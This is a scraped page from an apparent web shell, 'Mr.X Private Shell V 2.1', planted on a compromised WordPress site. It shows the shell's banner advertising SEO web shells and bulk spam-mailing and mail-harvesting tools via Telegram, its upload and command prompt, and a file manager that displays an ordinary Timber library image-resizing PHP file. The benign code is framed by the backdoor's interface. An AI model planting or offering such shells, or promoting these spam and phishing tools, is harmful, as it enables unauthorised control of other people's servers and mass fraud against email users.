__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Timber\Image\Operation;

use Timber\Helper;
use Timber\ImageHelper;
use Timber\Image\Operation as ImageOperation;

/**
 * Contains the class for running image retina-izing operations
 */

/**
 * Increases image size by a given factor
 * Arguments:
 * - factor by which to multiply image dimensions
 * @property float $factor the factor (ex: 2, 1.5, 1.75) to multiply dimension by
 */
class Retina extends ImageOperation {

	private $factor;

	/**
	 * Construct our operation
	 * @param float   $factor to multiply original dimensions by
	 */
	public function __construct( $factor ) {
		$this->factor = $factor;
	}

	/**
	 * Generates the final filename based on the source's name and extension
	 *
	 * @param   string    $src_filename     the basename of the file (ex: my-awesome-pic)
	 * @param   string    $src_extension    the extension (ex: .jpg)
	 * @return  string    the final filename to be used (ex: [email protected])
	 */
	public function filename( $src_filename, $src_extension ) {
		$newbase = $src_filename.'@'.$this->factor.'x'; // add @2x, @3x, @1.5x, etc.
		$new_name = $newbase.'.'.$src_extension;
		return $new_name;
	}

	/**
	 * Performs the actual image manipulation,
	 * including saving the target file.
	 *
	 * @param  string $load_filename filepath (not URL) to source file
	 *                               (ex: /src/var/www/wp-content/uploads/my-pic.jpg)
	 * @param  string $save_filename filepath (not URL) where result file should be saved
	 *                               (ex: /src/var/www/wp-content/uploads/[email protected])
	 * @return bool                  true if everything went fine, false otherwise
	 */
	public function run( $load_filename, $save_filename ) {
		// Attempt to check if SVG.
		if ( ImageHelper::is_svg($load_filename) ) {
			return false;
		}
		$image = wp_get_image_editor($load_filename);
		if ( !is_wp_error($image) ) {
			$current_size = $image->get_size();
			$src_w = $current_size['width'];
			$src_h = $current_size['height'];
			// Get ratios
			$w = round( $src_w * $this->factor );
			$h = round( $src_h * $this->factor );
			$image->crop(0, 0, $src_w, $src_h, $w, $h);
			$result = $image->save($save_filename);
			if ( is_wp_error($result) ) {
				// @codeCoverageIgnoreStart
				Helper::error_log('Error resizing image');
				Helper::error_log($result);
				return false;
				// @codeCoverageIgnoreEnd
			}
			return true;
		} else if ( isset($image->error_data['error_loading_image']) ) {
			Helper::error_log('Error loading '.$image->error_data['error_loading_image']);
			return false;
		}
		Helper::error_log($image);
		return false;
	}
}

Filemanager

Name Type Size Permission Actions
Letterbox.php File 3.84 KB 0775
Resize.php File 6.3 KB 0775
Retina.php File 2.57 KB 0775
ToJpg.php File 2.18 KB 0775
ToWebp.php File 2.29 KB 0775
Filemanager